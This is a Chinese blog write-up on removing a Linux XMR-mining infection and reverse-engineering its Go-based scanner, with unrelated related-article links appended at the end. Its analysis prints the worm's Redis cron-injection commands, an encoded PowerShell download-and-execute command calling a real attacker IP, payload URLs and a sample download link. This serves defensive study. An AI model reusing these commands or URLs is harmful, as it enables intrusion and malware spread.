原标题:Linux挖矿病毒的清除与分析

*本文原创作者:xuing,本文属于FreeBuf原创奖励计划,未经许可禁止转载

起因

舍友在宿舍喊着,这服务器好卡啊,难受啊!我调侃他是不是被挖矿了,top命令看一下CPU占用。

一看吓一跳,一个叫做sysupdate的进程占据了绝大部分的CPU资源。CPU使用率接近100%。

看来被挖矿是坐实了。

清除过程 确定病因

这个病毒还不是算很变态,很多挖矿病毒,使用top命令都看不到挖矿程序的进程。

基本可以确定这个占据绝大部分cpu资源的进程sysupdate,就是挖矿程序了,我们需要先找到他。

使用命令:

ps -aux | grep sysupdate

查看病毒的PID号。

为了获取绝对路径,使用:

ls -l /proc/{pid号}/exe

发现sysupdate的绝对路径在/etc/sysupdate。

下载下来,上传到VirusTotal。

如图所示,就是他,挖矿病毒没跑了。

开始清除

首先干掉进程:kill -9 {pid号}

直接rm -f sysupdate会提示类似:

rm: cannot remove 'sysupdate ': Operation not permitted

基于经验,应该是病毒使用了chattr +i的命令。我们只要先执行chattr -i sysupdate,然后就可以正常删除了。

复发

然后..很快就又被创建出来了。应该是有守护进程什么的。

而且如果我们简单分析一下sysupdate,其实他并不是病毒,他只是个XMR挖矿程序。

(懂我意思吧,我们必须得找到他爸爸)。

分析的方法,可以通过findStr、IDA等工具提串或者..运行一下就明白了。下图是我虚拟机运行的截图。

好,我知道大家都不关心这个。

定时任务

我是先去看了下日志..发现什么都没有Orz,应该是被清了。

那还是先来检查下定时任务吧:

crontab -l或者cat /var/spool/cron/root

还可以去查看定时任务的日志。

more /var/log/cron log

太多的话,可以在后面加上| grep -v {要排除的关键字}来排除无用信息。

update.sh分析

找到了这个定时执行的源头,我们来简单分析一下。update.sh的内容和相关样本在文末有提供下载。

在/etc下下载了config.json(挖矿配置)、sysupdate(XMR挖矿软件)、update.sh(本脚本)、networkservice(scanner 扫描并入侵其他的主机)、sysguard(watchdog 用于监控并保证病毒的正常运行以及更新)并保证他们以root权限运行。

干掉别的挖矿病毒(见kill_miner_proc函数)。

创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,算是个后门吧。

然后就是添加定时任务,为文件添加chattr +i,修改IPTABLES,清楚日志,关闭SELinux等等。

修复

1.rm /var/spool/cron/root或者 crontab -r删除定时任务。

2.kill命令将相关进程干掉,用chattr -i和rm命令,将上述/etc下的文件全部删除。

3./root/.ssh/authorized_keys也删掉或者修复。

至于IPTABLES、SELinux的恢复,就看大家自己的需求了。

样本分析:networkservice文件的分析 分析准备

查壳是UPX,直接使用upx -d就能脱壳了。

IDA打开发现结构很乱,Shift+F8打开Program Segmentation。

看到.gopclntab,基本就可以确定是golang编写的。我们这里使用IDAGolangHelper来帮助恢复符号信息。

从Github下载下来后,将脚本拷贝到IDA目录的python文件夹下,重启IDA,菜单选择File- Command..导入go_entry.py并运行。

PS:这里IDA7.0可能会遇到idc_bc695.py文件的MakeStr报错,这里给出看雪的解决办法。

如图所示,前两个按钮是用于检测Go语言的版本,输出在Output window内。我们这里选择Go1.10。然后按下剩下全部按钮进行修复~

再次看Functions window就舒服多了。不过字符串还是看着非常非常难受,因为Golang的字符串是堆成一坨的,用的时候通过偏移以及长度取。IDA没法很好的识别,只能自己从偏移处选定指定长度再按下A键进行标注。如果大佬们有更好的方式或者脚本,请务必赐教。

功能分析

我们接下来就可以从main_main函数开始看,整个程序的大概流程。

1.首先会去hxxps://pixeldra.in/api/download/I9RRye下载ips_cn.txt并保存为dkelc。

2.ips_cn.txt的内容实际上就是大量的国内ip段的十进制表示,为之后的扫描入侵做准备。

程序内包含了大量的exploit。基本都是RCE即远程命令执行,下表做了部分列举:

Redis未授权RCE Hadoop未授权RCE Drupal CVE-2018-7600 ElasticSearch CVE-2015-1427ElasticSearch CVE-2014-3120Redis爆破模块Spring CVE-2018-1273Sqlserver Exploit模块ThinkPHP5 RCEWeblogic CVE-2017-10271

以Redis未授权漏洞为例作分析,首先会去尝试空口令和弱口令爆破,如果成功连接。

首先设置Redis的stop-writes-on-bgsave-error为no。执行Redis命令FlushAll清空数据表。

设置dbfilename为Root,即设置持久化文件名为root,对应的Redis命令为:

config set dbfilename root

紧接着设置dir到定时任务目录/var/spool/cron,对应Redis命令为

config set dir "/var/spool/cron"

执行完上面的命令后,Redis之后的数据就会保存到/var/spool/cron/root,即Root用户的定时任务文件里。

紧接着拼接curl下载并执行远程shell的语句,并调用Save写入文件中。

sysguard

作者叫他是Watchdog,主要功能就是监控自己的各程序,定时任务等是否启动正常。不知道和网上的watchdogs挖矿病毒有没有联系。

在分析过程中,发现不仅仅有Linux版,还有Windows版。

对于windows,会去执行下面的命令:

powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==

base64解密为:

iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')

即下载执行update.ps1,没什么新意,火绒就可以查杀拦截:

windows版的下载地址如下,因为是Go语言编写的,其实内容都是大同小异的:

hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1 样本下载 https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip

*本文原创作者:xuing,本文属于FreeBuf原创奖励计划,未经许可禁止转载返回搜狐,查看更多

责任编辑:

linux服务器上的cad病毒,Linux挖矿病毒的清除与分析相关推荐

  1. 项目部署到Linux服务器上 (全)linux服务器安装java mysql 配置

    项目部署到Linux服务器上 (全) 1.服务器准备 首先你需要购买一台云服务器 我是领取的阿里云的服务器 选择linux系统 设置好 服务器的密码 忘记可以在 控制台首页 云服务器ECS 里面找到购 ...

  2. c上传文件到linux服务器,上传文件到Linux服务器

    1. Window上传文件到Linux 1.1 图形化界面winscp 适用于传送文件和目录,但要安装额外的软件winscp 1.2 lrzsz套件 适用于传送文件,使用ssh远程登录管理软件xshe ...

  3. linux服务器上的回收站,为linux系统实现回收站

    在linux系统中,经常采用"rm *"或"rm -r *"操作删除一下文件,但是有时某些文件并不是我们想要删除的,但是已经被删除.很多时候都是悲剧的,数据是难 ...

  4. 一键查杀linux挖矿脚本,这几个linux命令或许帮您查杀挖矿病毒

    最近受类似于比特币及区块链技术的影响,有些云服务器被攻入,植入挖矿病毒,利用你的云服务器来挖矿.本文就阐述几个常用的linux命令,假如你碰到这样的病毒,这些linux命令可能会有些帮助.这些命令并不 ...

  5. Linux服务器上监控网络带宽的18个常用命令

    本文介绍了一些可以用来监控网络使用情况的Linux命令行工具.这些工具可以监控通过网络接口传输的数据,并测量目前哪些数据所传输的速度.入站流量和出站流量分开来显示. 一些命令可以显示单个进程所使用的带 ...

  6. Linux服务器上zsh和bash的对比

    使用默认指令列模式(bash shell)的管理员可能想仔细看看zshell或是zsh.由于它于bash相似,功能又有所加强,zsh在Linux社区获得了关注. 那么zsh有什么不同之处呢?首先,zs ...

  7. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方: /var/log/nginx/access_iqueendress.com.log /var/log/nginx/access_m. ...

  8. Linux服务器上挂载window本地iso镜像文件的方法。

    mount //10.7.21.25/linux -o username=Administrator,password=H@nD0ng /mnt/ 10.7.21.25是window的地址 Linux ...

  9. 使用rsync同步linux服务器上的文件到windows上

    需求: 在windows客户端上执行计划任务同步脚本,从linux服务器上同步对应模块下的目录内容到windows客户端的D:\data目录下. 步骤: 1. rsync服务端操作略: (百度一下都有 ...

  10. 突然远程连接不上mysql_navicat突然连接不上远程linux服务器上的mysql

    我linux服务器上的mysql是docker安装的,突然有一天我的navicat连接不上服务器上的mysql,于是开始了下面一系列的修复 1.首先登录服务器上mysql,看是否能正常登录,我发现不能 ...

最新文章

  1. new JSONArray(ListMap).tostring()问题
  2. 安德鲁斯Selector简介
  3. vs2013编译win-32位下的libevent-2.0.21-stable,debug版本
  4. Python 3.9.0 首个迭代版本发布了
  5. python井字棋如何判断输赢_井字棋判断输赢的两种方法
  6. Apache下设置自动将http跳转到https方法
  7. 【python游戏开发入门】pygame下载与安装教程
  8. 组态王五层电梯c语言编程,PLC编程实例分享,多图详解五层楼电梯控制系统~...
  9. 教程:使用Java以编程方式将PLT转换为PDF或图像
  10. win10计算机策略配置文件,Win10系统如何打开组策略?打开组策略的具体方法
  11. 泰勒·考恩的《大停滞?》
  12. Altium Designer 多引脚元件快速画法 Smart Grid Insert
  13. javascript常见的设计模式
  14. 解决浏览器下载文件时中文文件名乱码的问题
  15. JS 大杂烩(持续更新)
  16. 中国十大虚拟主机服务商
  17. nand flash驱动调试学习
  18. Unity周围环境与光效调节[一]天空盒与天空盒反射的调节
  19. Linux防火墙iptables禁IP与解封IP常用命令
  20. 《经济学人》也玩新奇,跟着爱丽丝掉进了兔子洞 | 经济学人全球早报精选

热门文章

  1. ionic app 开发学习
  2. 台式计算机主板,台式电脑主板开机过程详解
  3. odps传大文件到oss上_如何导入数据到odps
  4. c语言不能正常输出128以上的ascii字符,C语言输出ASCII 219无法显示方格
  5. 对OB28的源代码进行调试
  6. 小规模票表比对不通过_实用 | 增值税纳税申报比对失败怎么办?操作指南来啦...
  7. c语言入门经典18个程序,c语言入门经典必背18个程序
  8. mysql基于SpringBoot的“1818小酒馆”商城网站的设计与实现毕业设计源码192004
  9. java的输入输出流
  10. cad特性匹配快捷键命令_cad快捷键命令大全